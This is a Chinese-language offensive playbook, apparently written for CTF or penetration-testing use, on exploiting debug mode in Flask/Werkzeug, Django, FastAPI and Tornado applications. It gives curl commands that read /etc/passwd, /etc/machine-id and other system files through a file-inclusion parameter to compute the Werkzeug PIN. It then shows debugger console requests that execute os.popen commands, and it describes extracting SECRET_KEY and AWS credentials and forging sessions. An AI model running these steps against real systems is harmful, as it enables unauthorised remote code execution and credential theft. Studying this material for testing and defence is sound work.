Python Web Debug 模式利用
Python Web 框架的 Debug 模式是开发者留下的最危险的配置错误之一——Werkzeug debugger 直接提供交互式 Python shell(RCE),Django DEBUG=True 泄露完整配置和源码路径,FastAPI /docs 暴露所有 API 接口。
Phase 0: 快速识别
| 信号 | 框架 | 危害等级 |
|---|---|---|
/console 路径可访问 |
Flask/Werkzeug | 🔴 RCE(需 PIN) |
| 错误页面显示 Werkzeug Debugger | Flask | 🔴 RCE |
黄色错误页面 + Settings + Traceback |
Django | 🟠 信息泄露 |
/docs 或 /redoc 可访问 |
FastAPI | 🟡 API 暴露 |
| 错误页面含 Python traceback + 源码路径 | 任意 | 🟡 信息泄露 |
X-Powered-By: Werkzeug 或 Server: Werkzeug |
Flask | 识别框架 |
404 页面含 Not Found. The requested URL was not found |
Flask 默认 | 识别框架 |
Phase 1: Werkzeug Debugger RCE(最高优先级)
Werkzeug debugger 在 Debug 模式下提供交互式 Python console,但自 Werkzeug 0.11+ 起需要 PIN 码验证。
1.1 检查 /console 是否可访问
curl -s http://TARGET/console
# 如果返回 HTML 中包含 "Werkzeug Debugger" → 可利用
# 如果需要 PIN → 继续 PIN 计算
1.2 PIN 计算
PIN 由以下 6 个值生成(Werkzeug 源码中的 get_pin_and_cookie_name 函数):
| # | 变量 | 获取方式 |
|---|---|---|
| 1 | username |
运行 Flask 的用户名 → /etc/passwd 或错误页面泄露 |
| 2 | modname |
通常是 flask.app |
| 3 | getattr(app, '__name__', type(app).__name__) |
通常是 Flask |
| 4 | getattr(mod, '__file__', None) |
Flask 的 app.py 路径 → 错误页面泄露 |
| 5 | uuid.getnode() |
网卡 MAC 地址 → /sys/class/net/eth0/address |
| 6 | get_machine_id() |
/etc/machine-id 或 /proc/sys/kernel/random/boot_id(取第一个可用值)+ /proc/self/cgroup 片段 |
完整 PIN 计算算法 → 读 references/werkzeug-pin-calculation.md
1.3 读取必要文件
通常需要通过 LFI/SSRF/错误信息泄露来读取:
# MAC 地址(去掉冒号,转为十进制)
curl http://TARGET/vuln?file=/sys/class/net/eth0/address
# 02:42:ac:11:00:02 → 0x0242ac110002 → 2485377892354
# machine-id
curl http://TARGET/vuln?file=/etc/machine-id
# 如果不存在,用 boot_id:
curl http://TARGET/vuln?file=/proc/sys/kernel/random/boot_id
# cgroup(Docker 环境中需要)
curl http://TARGET/vuln?file=/proc/self/cgroup
# 取第一行最后一个 / 后的内容(容器 ID)
# 运行用户
curl http://TARGET/vuln?file=/etc/passwd
# 或从错误页面的 traceback 中提取路径 /home/USERNAME/...
1.4 PIN 获取后利用
# 1. 访问 /console,输入 PIN
# 2. 在 Python console 中执行命令:
import os; os.popen('id').read()
import os; os.popen('cat /flag*').read()
# 3. 或通过 API 调用(不需要浏览器):
# 先获取 PIN cookie
curl 'http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=PIN_CODE&s=SECRET'
# SECRET 从 /console 页面的 HTML 中提取
# 然后执行命令
curl 'http://TARGET/console?__debugger__=yes&cmd=__import__("os").popen("id").read()&frm=0&s=SECRET' \
-H 'Cookie: __wzd..=PIN_COOKIE'
Werkzeug 2.1+ 使用 SHA-1 算法生成 PIN(之前用 MD5),计算脚本需要区分版本。
Phase 2: Django DEBUG=True 信息泄露
2.1 触发调试页面
# 访问不存在的 URL → Django 会显示所有 URL 配置
curl http://TARGET/nonexistent_path_12345/
# 触发错误 → 显示完整 traceback + 源码 + settings
curl http://TARGET/api/test?id='
2.2 敏感信息提取
Django 调试页面泄露:
- Settings:
SECRET_KEY、数据库配置、AWS 凭据、邮件服务器 - URL 配置: 所有路由包括 admin 后台路径
- Traceback: 源码片段、文件路径、本地变量值
- Request 信息: Cookie、Session 数据
关键搜索:
SECRET_KEY → 可伪造 session/CSRF token
DATABASE → 数据库连接信息
AWS_ACCESS_KEY → 云凭据
ALLOWED_HOSTS → 子域名信息
2.3 Django SECRET_KEY 利用
拿到 SECRET_KEY 后:
# 伪造 Django 签名数据 / session
# Django 默认使用 JSONSerializer;只有显式配置 PickleSerializer 的旧应用才存在 pickle 反序列化 RCE 风险
import django.core.signing
# 默认 JSON session 场景主要关注签名数据伪造;PickleSerializer 场景再参考 deserialization-methodology skill
# 伪造密码重置 Token
from django.contrib.auth.tokens import PasswordResetTokenGenerator
Phase 3: FastAPI /docs 暴露
3.1 检测
curl -s http://TARGET/docs # Swagger UI
curl -s http://TARGET/redoc # ReDoc
curl -s http://TARGET/openapi.json # OpenAPI schema(最有价值)
3.2 利用
/openapi.json 包含所有 API 端点的完整定义——路径、方法、参数、响应格式:
# 下载完整 API 定义
curl -s http://TARGET/openapi.json | python3 -m json.tool
# 提取所有端点
curl -s http://TARGET/openapi.json | jq '.paths | keys[]'
# 重点关注:
# - /admin/ 路径下的管理接口
# - 含 delete/update/create 的端点
# - 含 user/role/permission 的端点
# - 含 file/upload/download 的端点
Phase 4: Tornado/Bottle/其他框架
Tornado Debug 模式
# Tornado debug=True 时,错误页面显示完整 traceback
# 但不像 Werkzeug 那样提供交互式 console
# 关注:源码路径、配置信息、cookie_secret 泄露
通用 Python 错误信息利用
任何 Python Web 框架在 Debug 模式下的错误页面都可能泄露:
- 文件系统路径 → 确定安装位置和用户
- 环境变量 → 可能包含密钥、凭据
- 依赖版本 → 查找已知 CVE
- 数据库连接字符串 → 直连数据库
决策树
发现 Python Web 应用
├── /console 可访问 → Werkzeug Debugger → PIN 计算 → RCE
├── 错误页面是 Django 黄色调试页 → 提取 SECRET_KEY → Session 伪造
├── /docs 或 /redoc 可访问 → FastAPI → API 枚举
├── 错误页面含 Python traceback → 信息收集(路径/用户/版本)
└── 以上都不是 → 主动触发错误(特殊字符/类型错误/长输入)
参考资源
- Werkzeug PIN 计算完整算法(含 Python 3.x 和 Docker 差异)→ references/werkzeug-pin-calculation.md